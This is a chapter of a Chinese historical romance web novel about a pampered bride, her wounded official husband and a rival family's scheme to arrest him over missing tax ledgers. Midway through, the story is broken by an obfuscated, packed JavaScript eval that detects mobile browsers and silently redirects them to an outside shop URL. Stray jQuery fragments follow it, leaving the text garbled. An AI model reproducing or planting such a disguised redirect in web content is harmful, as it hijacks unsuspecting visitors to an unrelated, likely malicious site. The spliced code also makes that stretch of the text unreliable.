郑府后院,厨房。泠荇先前问了伺候郑岷徊的贴身小厮阿瑞,说是有几样他喜欢吃的,于是便来了折腾。只是她先前十指不沾阳春水,这烧灶切食的琐事还真做不来。
“小姐,你回去吧!这活儿交给我来就行!”下人都被赶了去,阿鹭正复劝她,身后砧板处传来“哎哟”一声。泠荇美眉拧成一团,中指指腹两分长的刀伤正渗出血来。菜刀被她扔在一旁,轻咬下唇,眼泪摩挲。
“怎么有人喜欢吃这东西!”波棱,细枝厚叶,连泠荇都没见过的。满脸烟黑的阿鹭吓了一跳,欲拽着她赶忙去寻大夫时被泠荇制止。
“那岂不是要给郑岷徊笑话!”她自小体弱多娇不如哥哥,整个阮府上下独惯着她,可郑岷徊,她想了想,忍着刺痛将那伤处冲洗了下,又继续与那几根青菜斗智斗勇。
“小姐,你先前不是……很讨厌姑爷?现在怎么……”阿鹭不解。
“恭顺的人索然无味。”泠荇歪着头,“乖乖听话的人有什么意思,你看先前那些绕在眼前的世家公子,要驯服一番收了性子才有妙趣。他不是不喜欢本小姐吗?总有一天,他须乖巧得像头毛驴!”
郑岷徊,等着吧。
**
**
郑岷徊回府时是一个时辰之后。泠荇专门回去换了身菡萏襦裙,胭脂淡雅,铜镜中映出她稍显虚弱的神色,是近几日睡不好的缘故。刚走近侧室,只听里面传来二人不疾不徐的对话。
“岷徊哥,你怎会着了那种人的道!”
本想度支民槽那地方不似军中,没想到还是……是他掉以轻心。
“这腿伤可怠慢不得,恐需半把月调养,以后我还是日日来给你换药。”
“麻烦你了,樱儿!”
泠荇心中一紧,郑岷徊他胆大包天!她急喘几口释释怨怒,反手将食盒掀翻的冲动压下,是笑着推门进去。那女子抬眼望向泠荇,身着素净利落,精致麻鞭自一侧沿耳而下,眼睛圆圆的,正低身俯近郑岷徊。
“夫君——”伴随而来的正是这酥软无比的唤称,二人皆是一顿,休说男人就算是女人,瞧见泠荇都不由看愣几眼。纪樱正替他穿鞋的白皙玉手有些尴尬着缩回。
“这位是阮小姐吧。”
泠荇也不生气,笑吟吟坐到郑岷徊身旁,直着瞧向纪樱,一高一低极具压迫,的确是很美,“也是你岷徊哥的夫人!”而后略有示意地朝郑岷徊看去,语气轻轻扬扬,“是吧!夫君——”
“瞧你,你既要做人夫君,做阮家女婿,可要将这些莺莺燕燕的羽毛藏严实了。免得被人看见!”
这话正当着纪樱的面,她忙得跪倒在地,“阮小姐,我无意争抢岷徊哥的意思,只是寻常人家还有个三妻四妾,何况我与岷徊哥青梅竹马……”
“樱儿,你先回去!”郑岷徊开口制止,这是继泠荇进来郑岷徊说的第一句话。
泠荇闻到股浓烈的茜草香,惹人心醉。
“说到这儿,我可要劝夫君绝了纳妾的念头,我宁可将你剁了喂狼,也绝不许妾室入门!”
“所以,泠儿,你是真的想嫁给我?”郑岷徊突然低笑,正经笃定。
泠荇怔住,没料到他问这种问题,算了演戏演足,她回答时稍移坐近环上他的手臂,郑岷徊是武将出身,像极了许她打闹的阮颐,她极近亲昵,“我喜欢夫君,疼爱夫君,又不是什么稀罕事!”
“所以鸳鸯再好,也只能刻在见不得人的地方。本小姐不与旁人争抢,但既是我的,旁人也休想沾染半分。下次别让我瞧见不干不净的东西!”
见纪樱不动不语,泠荇纤臂向上,移到郑岷徊心口之处,佯作宽衣解带的架势,“怎么,樱儿姑娘还要留下来窥人闺房之事?”
纪樱攥紧膏药,她是低估了阮家千金的骄纵不逊。
“岷徊哥,我改日再来看你!”略带啜泣的告别,泠荇歪着头眼瞧纪樱狼狈而去,一阵痛快,脑袋恨不得伸出去一探究竟。
“少爷!”伴随一声沉闷撞击,泠荇回神时郑岷徊已倒在地上,身旁阿瑞惊嚷着喊他。
“郑岷徊!郑岷徊!”不由想起那日在殿内含下毒药口吐黑血的宫人,他该不会……泠荇少见这场景,近日来接二连三,急得哭腔溢出,郑岷徊可不能出事,“郑岷徊。你别死啊!阿瑞你,你快去叫大夫!快去!”
她与阿瑞阿鹭一同将他扶回床榻,正催促阿瑞时,手腕却被紧闭双目眉头蹙拧的郑岷徊一把握住,泠荇一愣,他奄奄一息,“叫他们出去。”
**
**
侧室,九蝉紫炉中冷香淡淡环绕裹挟着窗外的昏黄,郑岷徊翻了个身,始终保持着清醒。泠荇额间渗溢出细密汗珠,榻席红血沾湿一片,阿瑞将郑岷徊贴衣揭开,腥气扑鼻,模糊错纵,但还能微微瞧出是鞭伤。郑岷徊微闭双眼,听到几声断续哭腔。泠荇攥紧了手,紧咬双唇不敢触碰。
“害怕了?”第一次瞧她脸色这般惨白,与往日盛气凌人判若两人,“方才不见你这么害怕?”
“你,你才害怕呢?”嘴上辩驳了句,移开神色。自小到大她都被保护得很好,血刃杀伐诛戮这样的词从未沾染分毫,以至于便理所当然地认为拂玉弄鬓、卷幔试香是世间常态。可是,可是她见过,也经历过。
“转过身去。”不闻人知的轻叹,阿瑞将新衣取来,郑岷徊就要换上。
“你不上药包扎?”泠荇随即吐出几字,诘问又是吃惊。
“我去买药!”郑岷徊都没听她说完,阿瑞赶忙跟着碎嘴。郑岷徊这些伤是从不上药包扎的,腿伤若非纪樱姑娘执意过来,郑岷徊又要这么强忍多日。一句“多嘴”就要将阿瑞遣去。
“不行,你这样会死的。”泠荇起身,忽重复道,“你这样会死的。”似在喃喃自语。于是立马招呼阿瑞前去药铺。
她走到郑岷徊身旁,还未等他说话,威胁道,“不然我就把你受伤的消息散播出去,让郑府上下全都知道!”他定然是要掩人耳目不欲人知,否则也不会如此隐蔽偷偷摸摸。
郑岷徊再执拗也没法子拒绝。泠荇还是做的出来这事。
阿瑞暗忖,还是有人能治住自家公子的。
房中空气一下寂静下来,静香缭人心脾,郑岷徊披上外衣已经坐起。
“后悔将人赶跑了吧?”
“切!”泠荇闷闷不乐的心思被他炸开,“本小姐就没做过后悔的事!”
再瞧他有些落毛公鸡的狼狈,着实不忍心,“这个丁焕,真是死性不改,我去替你报仇!”她气不打一处来,“打狗还要看主人呢!”
来不及捂嘴却已脱口而出,哪有这么骂人的?
郑岷徊倒是没有同她计较,“你还真是有本事。”瞧的是桌上的食盒,拿进来放了半天。“有备而来?”为了气人也是煞费苦心。
“那当然。”泠荇灵机一动,好歹自己做了半晌,怎么着也得进了他的肚子,“你尝尝。”
郑岷徊讶疑,无事献殷勤非奸即盗,“没放砒霜吧?”
“放了你也得吃。”
看到波棱的时候郑岷徊愣了愣,一口下肚,盐是放了半罐子吧。
见他神色难堪,泠荇偏要勉强,“你得要说好吃才行。”
“好吃。”不情不愿还是应她。
过了会儿,阿鹭抱着几瓶带泥封好的锡罐,说是丁家香料预备制好,只等叫人来取。这才又将话题引回丁焕身上。
“丁焕是皇后娘娘的表弟。丁叔叔又任职度支民槽,丁家亲族遍布朝野,根基颇深。丁焕猖狂也不无道理。”
“你知道的还挺多。”怪不得,郑岷徊才想起,那日尚书大人姓丁。
“本小姐虽然功课糟糕,但也不是笨蛋。”泠荇耳濡目染也懂许多。
郑岷徊再瞧她时,泠荇已手捧香粉轻搓,桂香弥漫,大小匀称如珠,将篆模平铺压紧填入香粉。
“好了,这叫十刻香印。”少顷,泠荇将篆模拿开,点燃。算是大功告成,次次香成都需先取来自试,否则不能轻易予人。
“焚完之前,吃完。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697241|208012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
泠荇瞧她的饭菜下得寥寥无几,命令他不许浪费。
“阮小姐,不必如此为难人吧。”
“我觉得你叫泠儿好听。”怕他不吃,泠荇亲手喂他,笑得得意,“我都没这么喂过我哥哥!”
她声音泠冽如清泉,唇间胭脂沾香,还不忘胡说八道,“你得多吃才行,这样伤才好得快!”
阿瑞笑弯了腰。
**
**
香篆青烟袅袅,在屋中缭绕,将几人脸庞衬得朦胧。郑岷徊想说些什么,门外骤然响起急促的脚步,伴随着阿瑞未及拦阻的惊呼。
“郑大人!度支民槽来人,说有急事!”
四名身着度支民槽制式皂衣的吏员已闯入侧室,为首的略一拱手,语气冷硬:“郑大人,奉丁大人之命,请您立刻随我等回衙。经您手的北三路诸府税银账本于衙署内遗失,同期税银库亦发现亏空,数目巨大。此事牵连甚广,还请郑大人配合查问。”
账本丢失?税银被盗?泠荇心头疑惑,“他才上任一日,这么巧吗?”丁叔叔?丁焕刚下狠手,度支民槽便发难吗?
“正是今日上午的账册,不翼而飞。”
“你们……”
郑岷徊撑坐起身,面色因失血而苍白,打断她,“账本遗失、税银亏空,自当彻查。郑某既为主管官员之一,理当配合。只是……诸位也瞧见了,可否容郑某稍作包扎,再随诸位前往?”
“郑大人。”那吏员上前一步,语带压迫,“事态紧急,主事严令即刻带人回衙。衙内自有医官,至于这伤……还是先请吧。”说罢,竟有动手强扶之势。
“慢着!”泠荇倏然起身,下颌微抬,她声音不高,却字字清晰,“京霖有律,因公被问,不得辄加械系、强令即行。他现在身负重伤,不能被你们强行带走。”郑岷徊这伤若是再颠簸一遭,怕是要出人命。
吏员被她骤得噎住,脸色变了几变,“郑夫人,您不要为难在下。”他们晓得泠荇的身份,要让出几分薄面。
泠荇语气木然,竟磕磕绊绊继续道,“捕者不得擅伤,疑犯当以礼待,查证未明,不得视同罪囚……”
她声音渐轻,恍惚道,“起码等他好些,再问询吧!”
那吏员额角见汗,“阮……郑夫人,此乃公务!耽搁了查案,这……”
“你们先回去,丁大人那儿我去说,不会牵连你们。”她笃定道,丁焕尿性她了解,可是其父丁凿,丁叔叔这是何意味?
阮家树大根深,军中朝中皆有人脉,与丁家联系颇深,绝非他们几个惹得起。
看那几名官吏仍僵在原地,郑岷徊重重咳了几声,“几位奉命行事,自有难处。郑某愿意调查。只是,律法亦重人情,郑某伤重,确需处理。不若这样,差官可留一人在此稍候,稍带片刻,便随诸位前往。”
“我这就跟你们去一趟。”泠荇起身,先不论是否恰有其事,丁家做事也过于明显了些。
**
**
屋内,香篆已燃至中段。泠荇几人离开后,阿瑞将虚掩的门关紧,舒了口气“公子,账册的事……阮小姐人还怪好呢?不过她倒是以为这伤……”
“她既以为,就随她去。”郑岷徊目光沉静,望向院门,“她这几日可有什么动静?”
“都挺正常的。”阿瑞挠了挠头,肃气低声道,“除去摆弄什么香料,今日去了库房,取了几件嫁妆命人去了典当行。”他也好奇,阮家如此受宠的幺女居然如此落魄,“阿鹭走后,我调查了商铺,并无不妥,也没有阮家的眼线。”
“她缺钱吗?”郑岷徊亦不解,“阮颐呢?”
“二人没有见面。”阿瑞看着自家公子可怜巴巴,不由感叹,“公子,虽说先前再如何不愿,可好歹顶着阮家女婿的名头,似也不错!只是不知阮小姐能不能将此事解决掉。”他们似乎还是不肯放过郑岷徊。
“当然不能。”郑岷徊目光投向书桌,“今晚替我送封信。老规矩。”
香篆将尽,青烟散入空中。